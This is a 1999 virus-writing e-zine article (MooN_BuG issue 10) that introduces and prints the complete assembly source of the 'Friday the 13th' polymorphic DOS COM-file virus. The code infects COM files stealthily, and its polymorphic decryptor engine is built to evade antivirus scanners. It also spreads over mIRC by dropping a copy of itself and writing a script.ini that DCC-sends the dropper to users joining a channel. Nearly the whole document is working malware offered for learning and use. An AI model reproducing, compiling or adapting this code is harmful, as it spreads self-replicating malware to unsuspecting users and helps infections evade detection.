[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 006

        -* Polymorphism for beginners, Friday the 13th version 0.92 *-

                              Copy-ya-right (c) March 1999, Mongoose of -=MY=-


    Представляя этот вирус вам,  я поступаю против своих принципов и принципов
 группы Misdirected Youth, т.к. этот журнал и вирус сразу же после выпуска по-
 падет в руки аверов. Но я думаю, что этот вирус поможет начинающим в освоении
 полиморфности. Это конечно же не DAME, но здесь все просто и понятно.

    Скелет декритора представляет из себя следующее:

              ┌─ mov         reg1,key
   1ая группа │  mov         reg2,rnd_number
              └─ mov         reg3,code_location
   locloop_1:    xor/add/sub [reg3],reg1
              ┌─ inc         reg3
   2ая группа │  inc         reg1
              │  inc         reg3
              └─ inc         reg2
                 cmp         reg2,rnd_number+code_size
                 jnz         locloop_1

   reg1          - регистр для ключа, выбирается из ax, cx, dx, bx, si и di
   reg2          - регистр для размера, выбирается из cx, dx, bx, si и di
   reg3          - регистр для оффсета, выбирается из si, di и bx
   key           - ключ
   code_size     - размер кода
   rnd_number    - случайное число
   code_location - место расположения шифрованного тела

    Инструкции первой  группы перемешиваются (меняются местами друг с другом),
 тоже делают и инструкции второй группы. Изменяются регистры и метод криптова-
 ния.

    P.S. С радостью отвечу на возникшие у вас вопросы.

─────[FRIDAY13.ASM]──[START]───────────────────────────────────────────────────
;┌───────────────────────────────────────────────────────────────────────────┐
;│ Friday the 13th v0.92 [C] Mongoose of Misdirected Youth, March '99        │
;├───────────────────────────────────────────────────────────────────────────┤
;│ Virii Type:      COM.CRYPT.VIRUS (parasitic)                              │
;│ Polymorphic:     Polymorphic of 2 and 4 levels                            │
;│ Stealth:         Save date, time & attributes                             │
;│ Error Handler:   Yep                                                      │
;│ Virii Size:      1165                                                     │
;│ Need to compile: Compile with one pass                                    │
;└───────────────────────────────────────────────────────────────────────────┘
               .model tiny
               .code
                org   100h

 start:         jmp    real_start
                nop

 real_start:    call   calculate_ip             ; Calculate IP (delta offset)
 calculate_ip:  pop    si
                xchg   bp,si
                sub    bp,offset calculate_ip

 restore_orig:  cmp    byte ptr [bp+file_frmt],1; Check file format
                jz     set_dta                  ; If it mICR copy, not restore
                                                ; orig bytes, we don't need it

                mov    di,100h                  ; Restore original bytes
                lea    si,[bp+original_bytes]
                movsw                           ; Move two bytes
                movsw                           ; Move another two bytes

 set_dta:       mov    ah,1ah                   ; Set DTA
                lea    dx,[bp+dta]
                int    21h

                mov    ax,3524h                 ; Get orig Int 24h
                int    21h

                mov    word ptr [bp+old_int24],bx
                mov    word ptr [bp+old_int24+2],es

                mov    ax,2524h                 ; Set new handler
                lea    dx,[bp+new_int24]
                int    21h

                push   cs
                pop    es

                mov    ah,4eh                   ; Find first COM-file
                mov    cx,7
                lea    dx,[bp+com_mask]
 search_next:   int    21h
                jc     no_more

                mov    ax,4300h                 ; Get attributes
                lea    dx,[bp+dta+1eh]
                int    21h

                mov    word ptr [bp+attribs],cx ; Save attributes

                mov    ax,4301h                 ; Clear attributes
                sub    cx,cx
                lea    dx,[bp+dta+1eh]
                int    21h

                mov    ax,3d02h                 ; Open for read/write
                lea    dx,[bp+dta+1eh]
                int    21h
                xchg   bx,ax                    ; Move file handle to bx

                mov    ax,5700h                 ; Get file date and time
                int    21h

                mov    word ptr [bp+time],cx    ; Save time
                mov    word ptr [bp+date],dx    ; Save date

                mov    cx,word ptr [bp+dta+1ah] ; File size

                cmp    cx,2000                  ; Check file size
                jb     close
                cmp    cx,64000
                ja     close

                mov    ah,3fh                   ; Read 4 bytes
                mov    cx,4
                lea    dx,[bp+original_bytes]
                int    21h

                cmp    word ptr [bp+original_bytes],'ZM'
                jz     close

                cmp    byte ptr [bp+original_bytes+3],5
                jz     close

                call   infect_file              ; Infect file

 close:         mov    ax,5701h                 ; Restore orig date and time
                mov    cx,[bp+time]
                mov    dx,[bp+date]
                int    21h

                call   close_file

                mov    ax,4301h                 ; Restore file attributes
                mov    cx,[bp+attribs]
                lea    dx,[bp+dta+1eh]
                int    21h

                mov    ah,4fh                   ; Find next file
                jmp    search_next

 no_more:       call   mirc                     ; Find & infect mIRC

                mov    ah,1ah                   ; Restore DTA
                mov    dx,80h
                int    21h

                mov    ax,2524h                 ; Restore old int 24 handler
                lea    dx,[bp+old_int24]
                int    21h

                push   cs
                pop    ds

 return_control:                                ; Return control to infected pr
                cmp    byte ptr [bp+file_frmt],1; Check file format
                jz     exit_to_dos              ; If it dropper, exit to DOS
                mov    di,100h
                jmp    di
 exit_to_dos:   int    20h
;┌────────────────────────────────────────────────────────────────────────────
;│ Infect file
;└────────────────────────────────────────────────────────────────────────────
 infect_file:   mov    cx,word ptr [bp+dta+1ah] ; File size
                sub    cx,3
                mov    byte ptr [bp+temp],0e9h
                mov    word ptr [bp+temp+1],cx
                mov    byte ptr [bp+temp+3],5

                mov    ax,4200h                 ; Move pointer to begin
                sub    cx,cx
                cwd
                int    21h

                mov    ah,40h                   ; Write JMP
                mov    cx,4
                lea    dx,[bp+temp]
                int    21h

                mov    byte ptr [bp+file_frmt],0; Set file format

 crypt:         mov    ax,4202h                 ; Move pointer to end
                sub    cx,cx
                cwd
                int    21h

                call   engine

                mov    ah,40h                   ; Write decryptor & crypted
                lea    dx,[bp+xor_buffer]       ; body
                int    21h
                ret
;┌────────────────────────────────────────────────────────────────────────────
;│ Find and infect mIRC client
;└────────────────────────────────────────────────────────────────────────────
 mirc:          mov    ah,47h                   ; Save current path
                sub    dx,dx
                lea    si,[bp+path]
                int    21h

                mov    ah,19h                   ; Get current drive
                int    21h
                mov    byte ptr [bp+drive],al

                mov    si,1
 drive_loop:    inc    si                       ; Drive = C
                cmp    si,9                     ; Check 8 drives
                jz     mirc_not_fnd

                mov    ah,0eh                   ; Try to change drive
                mov    dx,si
                int    21h

                mov    ah,3bh                   ; Search for mIRC directory
                lea    dx,[bp+mirc_cat]
                int    21h
                jc     drive_loop               ; If not found, try again

 end_loop:                                      ; Found mIRC
                mov    ah,3ch                   ; Create file for mIRC
                sub    cx,cx
                lea    dx,[bp+mirc_file]
                int    21h

                xchg   bx,ax                    ; Move file handle to bx

                mov    byte ptr [bp+file_frmt],1; Set file format (1-mICR copy)
                call   crypt
                call   close_file               ; Close file

 create_script: mov    ah,3ch                   ; Create or recreate script.ini
                sub    cx,cx
                lea    dx,[bp+mirc_scr]
                int    21h

                xchg   bx,ax                    ; Move file handle in bx

                mov    ah,19h                   ; Get current drive (where
                int    21h                      ; mIRC client situated)
                add    al,61h                   ; Prepare drive for script.ini
                mov    byte ptr [bp+mirc_on_drive],al

                mov    ah,40h                   ; Write script
                mov    cx,(script_end-script_start)
                lea    dx,[bp+script_start]
                int    21h

                call   close_file

 mirc_not_fnd:  mov    ah,0eh                   ; Restore drive
                mov    dl,byte ptr [bp+drive]
                int    21h

                mov    ah,3bh                   ; Restore directory
                lea    dx,[bp+path]
                int    21h
                ret
;┌────────────────────────────────────────────────────────────────────────────
;│ New int 24 handler
;└────────────────────────────────────────────────────────────────────────────
 new_int24:     mov    al,3
                iret
;┌────────────────────────────────────────────────────────────────────────────
;│ Close file
;└────────────────────────────────────────────────────────────────────────────
 close_file:    mov    ah,3eh
                int    21h
                ret
;╒════════════════════════════════════════════════════════════════════════════
;│ Polymorphic engine (of second'n'four polymorphic levels)
;└────────────────────────────────────────────────────────────────────────────
;│           ┌─ mov         reg1,key                                         │
;│ 1st group │  mov         reg2,rnd_number                                  │
;│           └─ mov         reg3,code_location                               │
;│ locloop_1:   xor/add/sub [reg3],reg1                                      │
;│           ┌─ inc         reg3                                             │
;│ 2nd group │  inc         reg1                                             │
;│           │  inc         reg3                                             │
;│           └─ inc         reg2                                             │
;│              cmp         reg2,rnd_number+code_size                        │
;│              jnz         locloop_1                                        │
;│                                                                           │
;│ reg1          - rnd register (for key), choose from ax, cx, dx, bx, si&di │
;│ reg2          - rnd register (for cycle), choose from cx, dx, bx, si, di  │
;│ reg3          - rnd register (for offset), choose from si, di and bx      │
;│ key           - key, used to crypt and decrypt virii body                 │
;│ code_size     - body size                                                 │
;│ rnd_number    - random number                                             │
;│ code_location - crypted body location                                     │
;└───────────────────────────────────────────────────────────────────────────┘
 engine:        in     ax,40h                   ; Get random key
                mov    word ptr [bp+seed],ax    ; Set seed, turn on RNG
                xchg   cx,ax
                call   get_rnd_number
                mov    word ptr [bp+decryptor+1],ax

                mov    cx,(crypt_methods-decryptor) ; Calculate decrypted code
                add    cx,100h                  ; offset
                cmp    byte ptr [bp+file_frmt],1; If we infect file, continue
                jz     set_offset
                add    cx,word ptr [bp+dta+1ah]

 set_offset:    mov    word ptr [bp+location+1],cx
                call   get_rnd_number
                mov    word ptr [bp+code_size+1],ax
                add    ax,(string-real_start)/2
                mov    word ptr [bp+compare+2],ax
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 1. Choose crypt & decrypt method (add/sub/xor)
;└────────────────────────────────────────────────────────────────────────────
 method:        mov    cx,3                     ; Choose from 3 methods
                call   get_rnd_number           ; Get crypt method

                lea    si,[bp+crypt_methods]
                add    si,ax
                mov    al,byte ptr [si]
                mov    byte ptr [bp+xor_loop],al; Move method to crypter

 check_sub:     cmp    al,29h
                jnz    check_add
                mov    al,01h
                jmp    move_method

 check_add:     cmp    al,01h
                jnz    move_method
                mov    al,29h
                jmp    move_method

 move_method:   mov    byte ptr [bp+dec_loop],al
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 2. Choose registers for decryptor and change old registers on new
;└────────────────────────────────────────────────────────────────────────────
 choose_first:  mov    cx,8                     ; Choose from 8 registers
                call   get_rnd_number

                cmp    ax,2                     ; If we get DX or lower (CX,AX)
                jna    choose_first             ; Choose another
                cmp    ax,4                     ; SP?
                jz     choose_first             ; Choose another
                cmp    ax,5                     ; BP?
                jz     choose_first             ; Choose another
                mov    byte ptr [bp+reg],al     ; Save register

 modify_locatn: push   ax                       ; Modify MOV REG1,XXXX
                add    al,0b8h
                mov    byte ptr [bp+location],al
                pop    ax

 modify_inc:    add    al,40h                   ; Modify
                mov    byte ptr [bp+inc_1],al   ; INC REG1
                mov    byte ptr [bp+inc_3],al   ; INC REG1

 choose_second: mov    cx,8                     ; Choose second register
                call   get_rnd_number

                cmp    al,byte ptr [bp+reg]     ; Our first register?
                jz     choose_second            ; Choose another
                or     ax,ax                    ; AX?
                jz     choose_second            ; Choose another
                cmp    ax,4                     ; SP?
                jz     choose_second            ; Choose another
                cmp    ax,5                     ; BP?
                jz     choose_second            ; Choose another

                mov    byte ptr [bp+reg+1],al   ; Save second register

 modify_inc4:   push   ax                       ; Modify
                add    al,40h                   ; INC REG2
                mov    byte ptr [bp+inc_4],al
                pop    ax

 modify_size:   push   ax                       ; Modify MOV REG2,XXXX
                add    al,0b8h
                mov    byte ptr [bp+code_size],al
                pop    ax

 modify_cmp:    add    al,0f8h                  ; Modify CMP REG2,XXXX
                mov    byte ptr [bp+compare+1],al

 choose_third:  mov    cx,8                     ; Choose third register
                call   get_rnd_number

                cmp    al,byte ptr [bp+reg]     ; Our first register?
                jz     choose_third             ; Choose another
                cmp    al,byte ptr [bp+reg+1]   ; Our second register?
                jz     choose_third             ; Choose another
                cmp    ax,4                     ; SP?
                jz     choose_third             ; Choose another
                cmp    ax,5                     ; BP?
                jz     choose_third             ; Choose another

                mov    byte ptr [bp+reg+2],al   ; Save third register

 modify_key:    push   ax                       ; Modify MOV REG3,YYYY
                add    al,0b8h
                mov    byte ptr [bp+decryptor],al
                pop    ax

 modify_inc_2:  add    al,40h                   ; Modify
                mov    byte ptr [bp+inc_2],al   ; INC REG3

 modify_dec:    mov    ax,8                     ; Modify
                mov    cl,byte ptr [bp+reg+2]   ; XOR/ADD/SUB [REG1],REG3
                mul    cx
                xchg   dx,ax

                mov    al,byte ptr [bp+reg]
                cmp    ax,3
                jnz    check_si
                add    dl,7
                jmp    write_to_dec

 check_si:      cmp    ax,6
                jnz    its_di
                add    dl,4
                jmp    write_to_dec

 its_di:        add    dl,5

 write_to_dec:  mov    byte ptr [bp+dec_loop+1],dl
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 3. Permutate 2 groups of registers, and write decryptor
;└────────────────────────────────────────────────────────────────────────────
 permutation:   mov    cx,3                     ; Sort instructions
                call   get_rnd_number
                mov    [bp+_mov1_real],al       ; Choose position for 1st mov

 second:        call   get_rnd_number           ; Choose position for 2nd mov
                cmp    al,[bp+_mov1_real]       ; Check, is it buzy
                jz     second                   ; If buzy, get another
                mov    [bp+_mov2_real],al

 third:         call   get_rnd_number           ; Choose position for 3rd mov
                cmp    al,[bp+_mov1_real]
                jz     third
                cmp    al,[bp+_mov2_real]
                jz     third
                mov    [bp+_mov3_real],al

 choose_inc1:   mov    cx,4                     ; Sort instructions
                call   get_rnd_number
                mov    [bp+_inc1_real],al       ; Choose position for 1st inc

 choose_inc2:   call   get_rnd_number           ; Choose position for 2nd inc
                cmp    al,[bp+_inc1_real]       ; Check, is it buzy
                jz     choose_inc2              ; If buzy, get another
                mov    [bp+_inc2_real],al

 choose_inc3:   call   get_rnd_number           ; Choose position for 3rd inc
                cmp    al,[bp+_inc1_real]
                jz     choose_inc3
                cmp    al,[bp+_inc2_real]
                jz     choose_inc3
                mov    [bp+_inc3_real],al

 choose_inc4:   call   get_rnd_number          ; Choose position for 4th inc
                cmp    al,[bp+_inc1_real]
                jz     choose_inc4
                cmp    al,[bp+_inc2_real]
                jz     choose_inc4
                cmp    al,[bp+_inc3_real]
                jz     choose_inc4
                mov    [bp+_inc4_real],al

 move_1st:      lea    di,[bp+xor_buffer]
                push   di
                mov    al,[bp+_mov1_real]
                mov    cx,3
                mul    cx
                add    di,ax                    ; Check position to write
                lea    si,[bp+decryptor]
                movsw                           ; Write MOV REG1,XXXX (3 bytes)
                movsb

 move_2nd:      pop    di
                mov    al,[bp+_mov2_real]
                mul    cx
                push   di
                add    di,ax                    ; Check position to write
                lea    si,[bp+code_size]
                movsw                           ; Write MOV REG2,XXXX (3 bytes)
                movsb

 move_3rd:      pop    di
                mov    al,[bp+_mov3_real]
                mul    cx
                add    di,ax
                lea    si,[bp+location]
                movsw                           ; Write MOV REG3,XXXX
                movsb

                lea    di,[bp+xor_buffer+9]     ; Write after 3 MOVs
                lea    si,[bp+dec_loop]         ; Crypt instruction location
                mov    word ptr [bp+engine_temp],di ; LOOP XXXX
                movsw

 move_incs:     lea    di,[bp+xor_buffer+11]    ; Write 3 INCs
                push   di
                mov    al,[bp+_inc1_real]
                add    di,ax
                lea    si,[bp+inc_1]
                movsb

                pop    di
                mov    al,[bp+_inc2_real]
                push   di
                add    di,ax
                lea    si,[bp+inc_2]
                movsb

                pop    di
                mov    al,[bp+_inc3_real]
                push   di
                add    di,ax
                lea    si,[bp+inc_3]
                movsb

                pop    di
                mov    al,[bp+_inc4_real]
                add    di,ax
                lea    si,[bp+inc_4]
                movsb

                lea    di,[bp+xor_buffer+15]    ; Copy rest of decryptor
                lea    si,[bp+compare]
                movsw
                movsw
                movsw

                mov    ax,word ptr [bp+engine_temp] ; Set loop
                sub    ax,di
                mov    byte ptr [di],al

                lea    si,[bp+real_start]       ; Move code after decryptor
                mov    cx,(end_of_code-real_start)
                push   di                       ; Save offset
                cld
                rep    movsb

                pop    di                       ; Restore offset
                mov    ax,word ptr [bp+decryptor+1]
                mov    cx,(string-real_start)/2 ; Size of crypted code
 xor_loop:      xor    word ptr [di],ax         ; Crypt two bytes
                inc    di
                inc    di
                inc    ax                       ; Increase key
                loop   xor_loop                 ; Reply this, until CX=0

                mov    cx,(crypt_methods-decryptor)+(end_of_code-real_start)
                ret

 decryptor:     mov    dx,0                     ; Decryptor sceleton
 code_size:     mov    cx,0
 location:      mov    bx,0
 dec_loop:      xor    word ptr [bx],dx
 inc_1:         inc    bx
 inc_2:         inc    dx
 inc_3:         inc    bx
 inc_4:         inc    cx
 compare:       cmp    cx,(string-real_start)/2
 cycle:         jnz    dec_loop
;┌────────────────────────────────────────────────────────────────────────────
;│ Polymorphic engine data
;└────────────────────────────────────────────────────────────────────────────
 crypt_methods        db 31h,29h,01h
;┌─────────────────────────┬──────────────────────────────────────────────────
;│ Random number generator │ Generate random number from 0 to CX
;└─────────────────────────┴──────────────────────────────────────────────────
 get_rnd_number:push   bx
                mov    ax,[bp+seed]
                mov    bx,261
                mul    bx
                mov    bx,65521
                div    bx
                or     dx,dx
                jnz    okey
                inc    word ptr [bp+seed]
                jmp    get_rnd_number

 okey:          mov    word ptr [bp+seed],dx
                mov    ax,dx
                sub    dx,dx
                div    cx
                mov    ax,dx
                pop    bx
                ret
;┌────────────────────────────────────────────────────────────────────────────
;│ Engine END
;╘════════════════════════════════════════════════════════════════════════════
;┌────────────────────────────────────────────────────────────────────────────
;│ Data for script file
;└────────────────────────────────────────────────────────────────────────────
 script_start          db '[script]',13,10      ; Script header
                       db 'n0=on 1:JOIN:#:/dcc send $nick '
 mirc_on_drive         db ?                     ; Drive where mIRC situated
 mirc_path             db ':\mirc\'             ; mIRC standart location
 mirc_file             db 'mirc_upd.com',0      ; mIRC file (virii dropper)
 script_end     label  byte
;┌────────────────────────────────────────────────────────────────────────────
;│ DATA
;└────────────────────────────────────────────────────────────────────────────
 mirc_cat              db '\mirc',0             ; mIRC directory
 com_mask              db '*.com',0             ; COM-files mask
 original_bytes        db 0cdh,21h,?,?          ; Original bytes
 file_frmt             db 0                     ; File format (0 or 1)
 mirc_scr              db 'script.ini',0        ; mIRC script
 string                db 'Misdirected Youth'
 end_of_code    label  byte
;┌────────────────────────────────────────────────────────────────────────────
;│ HEAP
;└────────────────────────────────────────────────────────────────────────────
 seed                  dw ?                     ; Seed for random number gen
 engine_temp           dw ?                     ; For engine
 reg                   db 3 dup (?)             ; ---//---
 _mov1_real            db 0                     ; ---//---
 _mov2_real            db 1                     ; ---//---
 _mov3_real            db 2                     ; ---//---
 _inc1_real            db 0                     ; ---//---
 _inc2_real            db 1                     ; ---//---
 _inc3_real            db 2                     ; ---//---
 _inc4_real            db 3                     ; ---//---
 temp                  db 4 dup (?)             ; For JMP addres & 05h
 dta                   db 43 dup (?)            ; For DTA
 date                  dw ?                     ; For date
 time                  dw ?                     ; For time
 path                  db 64 dup (?)            ; For path
 drive                 db ?                     ; Drive
 attribs               dw ?                     ; For attrib
 old_int24             dd ?                     ; Old Int 24 handler
 xor_buffer            db end_of_code-restore_orig dup (?)

                end    start
─────[FRIDAY13.ASM]──[EOF]─────────────────────────────────────────────────────

                              Copy-ya-right (c) March 1999, Mongoose of -=MY=-